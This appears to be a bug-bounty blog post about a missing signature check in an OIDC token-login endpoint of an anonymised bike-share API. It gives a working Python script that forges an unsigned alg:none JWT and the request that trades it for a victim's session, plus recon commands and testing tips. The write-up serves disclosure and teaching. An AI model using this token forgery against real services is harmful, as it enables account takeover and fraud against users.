June 24, 2026
I Made OpenID Connect Stop Checking Signatures (And Got Paid €0 For It)
A critical account-takeover bug on a European bike-share platform, a four-line forgery script, and the cruelest word in all of bug bounty…

By anshh.bohara
8 min read
A critical account-takeover bug on a European bike-share platform, a four-line forgery script, and the cruelest word in all of bug bounty: duplicate.
OpenID Connect has exactly one job that matters. Before it hands you a session, it verifies that the identity token in front of it was actually signed by the issuer who claims to have signed it. That signature is the whole point. It is the entire load-bearing wall between "Google has confirmed this is Dave" and "a stranger typed the word Dave into a text box."
I found a Critical-rated API on a large European bike-sharing platform that skipped that check. Not weakened it. Not misconfigured it. Skipped it. I forged a token with no signature at all, presented it, and got back a fully working session for whoever I felt like being that afternoon.
Then I wrote it up — airtight, negative controls and everything — submitted it, and received back a single word that, it turns out, costs more than any zero I have ever seen.
We'll get to that word. Let it ride for now.
The Target
I'm going to stay deliberately vague here, because the program forbids public disclosure and I would like to keep being allowed to do this for a living. So: the program runs a large European bike-share service. In scope was one Critical-rated API host — I'll call it api.target.tld — plus the mobile apps on both platforms. The Android package was a tidy little de.something-style APK, which matters in a second.
The rules were sensible and adult: manual testing only, no automated scanners, test accounts provided, and a payout of up to €3,000 for a Critical. I read "€3,000 for a Critical" the way other people read a dessert menu.
Recon: Following the API Key Down the Rabbit Hole
Every good finding is a chain where each link only becomes visible after you've pulled the previous one. This one had three.
Link 1 — The APK gives up the base URL and a key. I grabbed the in-scope Android app from a direct-download mirror, unzipped it, and pulled the classes*.dex files out of the archive. Then I did the two least glamorous things in all of mobile security: I ran strings over the bytecode and threw the whole thing into jadx.
unzip -o app.apk -d app/
strings app/classes*.dex | grep -Ei 'https?://|api_key|\.json'
jadx -d out/ app.apkunzip -o app.apk -d app/
strings app/classes*.dex | grep -Ei 'https?://|api_key|\.json'
jadx -d out/ app.apkOut fell the API base URL, the Retrofit endpoint paths the app actually calls, and a hardcoded api_key. Now, the instinct here is to feel clever for "extracting a secret." Resist it. This key was not a secret. It was a client identifier — the same value baked into every copy of the app on every phone. Anyone with the APK has it, which is to say: everyone.
That distinction is not pedantry. It's the difference between PR:H and PR:N on your CVSS vector later. Hold that thought.
Link 2 — The API hands you its own blueprints. Plenty of APIs ship a documentation endpoint, and plenty of them gate it behind exactly the kind of "key" that isn't actually a key. This one obliged. Feeding the client identifier to its doc endpoint — the genre of /api/doc.php?apikey=…&mode=spec — returned an 833 KB OpenAPI specification describing 77 endpoints.
The app itself calls 48 of them.
Do the subtraction. There were 29 endpoints the app never touches. And the endpoints an app never touches are precisely where the legacy code, the half-finished partner integrations, and the "we'll harden it later" auth flows go to quietly not die. The 48 endpoints in front of the curtain have been polished by a thousand QA cycles. The 29 behind it have been polished by no one.
Lesson, free of charge: before you test a single documented endpoint, go looking for the docs themselves.
/api/doc,/swagger,/openapi.json,?mode=spec. The most valuable thing an API can tell you is the part of itself it forgot to hide.
Link 3 — One endpoint introduces itself as a target. Reading 77 endpoint descriptions is tedious in the way that occasionally makes you a thousand euros. One entry stopped me cold. The endpoint was partnerTokenLogin.json, and the documentation described it with a candor I can only describe as generous:
"Provides a login key for a user by analyzing the provided OpenID Connect Identity Token. If the user does not exist yet, it will automatically be created."
Translated from spec-ese: hand me a JWT, and I will hand you a session. If the account doesn't exist, I'll build one for you on the spot. Any endpoint whose job is "trade a partner OIDC or SAML token for our own session" is a federated-login flow, and federated-login flows are where signature verification goes to be forgotten. This one had put up a neon sign.
The Bug: OIDC Without the "Verify" Part
Here is what partnerTokenLogin.json is supposed to do, and what every correct OIDC consumer on Earth does:
- Parse the incoming ID token (a JWT).
- Check the
issclaim — who issued it. - Fetch that issuer's public signing keys.
- Verify the token's signature against those keys. This is the step. This is the only step that turns a string of base64 into an actual identity assertion.
- Validate the standard claims (
aud,exp, required identity fields). - Map the token to a local account, keyed on the immutable
subclaim.
The endpoint did steps 1, 2, 5, and 6. It did them well, in fact, which is the cruel part. It checked the issuer. It enforced that the identity claims were present. It deterministically resolved the account from sub.
It did not do step 4. There was no step 4. The single cryptographic operation that OpenID Connect exists to perform was simply absent from the code path.
Both of these were accepted without complaint:
alg:none— a token announcing it has no signature, with the signature segment left empty.alg:RS256— a token claiming to be properly signed, carrying a signature that was complete, confident, and total garbage.
Because accounts are keyed on sub, and sub is a stable per-user identifier, forging a token carrying a victim's Google sub returns a working session for that victim's account. No signing key required. None. Ever.
This is CWE-347, Improper Verification of Cryptographic Signature. I scored it CVSS 9.1 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. Note the AC:L: forging the token is trivial and infinitely repeatable. There is no race, no timing window, no luck. The authentication just pedals off without ever checking who's holding the handlebars.
Exploitation
Three steps. The first one is shorter than this sentence.
Step 1 — Forge an unsigned ID token.
import base64, json
def b64url(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = {"alg": "none", "typ": "JWT"}
payload = {
"iss": "https://accounts.google.com",
"sub": "ATTACKER_CONTROLLED_SUBJECT",
"email": "poc@example.com",
"aud": "nextbike",
"exp": 1900000000,
}
token = b64url(header) + "." + b64url(payload) + "." # trailing dot = empty signature
print(token)import base64, json
def b64url(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = {"alg": "none", "typ": "JWT"}
payload = {
"iss": "https://accounts.google.com",
"sub": "ATTACKER_CONTROLLED_SUBJECT",
"email": "poc@example.com",
"aud": "nextbike",
"exp": 1900000000,
}
token = b64url(header) + "." + b64url(payload) + "." # trailing dot = empty signature
print(token)That trailing dot is the entire exploit. It's where the signature is supposed to be. There's nothing there. The endpoint did not notice.
Step 2 — Exchange the token for a session.
POST /api/v1.1/partnerTokenLogin.json?api_key=REDACTED_APIKEY&show_errors=1 HTTP/1.1
Host: api.target.tld
Content-Type: application/json
{"token":"<forged_token>","language":"en"}
HTTP/1.1 200 OK
{"user":{"id":...,"email":"poc@example.com","loginkey":"REDACTED_LOGINKEY", ...}}POST /api/v1.1/partnerTokenLogin.json?api_key=REDACTED_APIKEY&show_errors=1 HTTP/1.1
Host: api.target.tld
Content-Type: application/json
{"token":"<forged_token>","language":"en"}
HTTP/1.1 200 OK
{"user":{"id":...,"email":"poc@example.com","loginkey":"REDACTED_LOGINKEY", ...}}200 OK. A loginkey. A real, working session for an identity I invented forty seconds ago.
Step 3 — Use the session like any other authenticated user. The loginkey is a normal session credential, and the rest of the API treats it accordingly. I could read the account via getUserDetails.json and write to it via updateUser.json — including changing the account's email. Full read/write: personal data, payment method, rental history, and the ability to rent and return bikes billed to the victim. The free-ride jokes write themselves; I'll spare you most of them.
Proving It Was the Signature
A triager's job is to find the most boring possible explanation for your "critical" and pay you accordingly. The way you take that option off the table is negative controls: you show that everything except the signature check is alive and working, which leaves exactly one place for the defect to live.
Token iss Signature Result alg:none accounts.google.com none 200, session issued alg:RS256 accounts.google.com invalid garbage 200, session issued alg:none evil.attacker.com none 400 "Token issuer not found" alg:none, no claims accounts.google.com none 400 "required claim missing" non-JWT string – – 400 "request body empty" fabricated loginkey on getUserDetails – – "user not found / login failed"
Read top to bottom, this table tells one story. The issuer check works — point it at evil.attacker.com and it slams the door. The claims check works — strip the identity fields and it complains. The session layer works — invent a loginkey and it rejects you. The only check that does not exist, across every row, is the one verifying the signature. This isn't "the endpoint accepts anything." It's a precise, isolated, surgically-removable defect: the one labeled verify.
Impact
Account takeover of any user federated through a registered issuer — anyone who ever signed in with, say, Google. And it gets worse the longer you look at it. The sub is a stable, non-rotating identifier. Once a victim's sub is observed even once — leaked in a log, an old token, a careless redirect — their account is forgeable indefinitely. The attacker sets exp, the attacker omits the signature, and the math never expires. Layer on the endpoint's headline feature — auto-creates the user if they don't exist — and you also get arbitrary account creation with attacker-chosen identities, for free.
For the record: I tested with forged identities at @example.com only. No real user's data was ever accessed or disclosed, and I flagged my proof-of-concept accounts for the team to purge. You can break authentication and still wipe your feet at the door.
The Twist
I wrote this one up the way you write up the report you're proud of. Clean repro. The negative-controls table. CVSS vector with the AC:L justified in plain English so nobody could talk it down to a High. I read it three times, decided it was the best report I'd filed all quarter, and submitted it with the quiet confidence of a man who has already mentally allocated €3,000.
It came back Duplicate.
Someone got there first. Same endpoint, same missing step, same beautiful catastrophe — reported before me. My airtight, surgically-controlled, genuinely-critical authentication bypass was worth precisely €0, because the universe keeps time and I was second.
I would love to tell you I took it gracefully. I took it the way every hunter takes a dupe on a Critical: I stared at the screen, said something unrepeatable to an empty room, and briefly considered a career in agriculture.
But here's the part I actually believe once the sting wears off. A duplicate on a Critical is the program telling you you're hunting in the right place. The bug was real and serious enough that two strangers independently found the same nine-point-one. The methodology — APK to client identifier to hidden spec to federated-login endpoint to missing signature check — is sound, repeatable, and entirely transferable to the next target. The only thing that went wrong was the clock, and the clock is the one variable you fix by going faster and going earlier, not by sulking.
The write-up exists so the technique pays off next time. For me, and now for you.
Takeaways
- The docs are the loot. Before testing endpoints, hunt the spec —
/api/doc,/swagger,?mode=spec. The 29 endpoints an app never calls are where the weak auth lives. - Test every federated-login endpoint for missing signature verification. Any "exchange a partner OIDC/SAML token for our session" flow is a prime CWE-347 target. Assume the
verifystep is missing until you've proven it isn't. - Try
alg:noneand a real algorithm with a junk signature. They fail differently and catch different bugs. A library that blocksalg:nonemay still wave through RS256-with-garbage if it never actually fetches the key. - Run the negative controls. Show the issuer check works, the claims check works, the session layer works — so the only place left for the defect is the signature. That table is what makes triage unable to argue you down.
- It's
AC:L, notAC:H. A trivially repeatable forge is Low attack complexity. Score it honestly and the Critical defends itself. - When the program forbids disclosure, anonymize ruthlessly — host, domain, secrets — and write up the technique, not the target. The lesson travels; the target doesn't have to.
I broke OpenID Connect on a Critical asset, achieved full account takeover with a four-line script and a trailing dot, and earned the GDP of a sandwich I did not buy. Would do it again. Will do it again — earlier next time. The bikes were never the point; the signature was. Go check yours.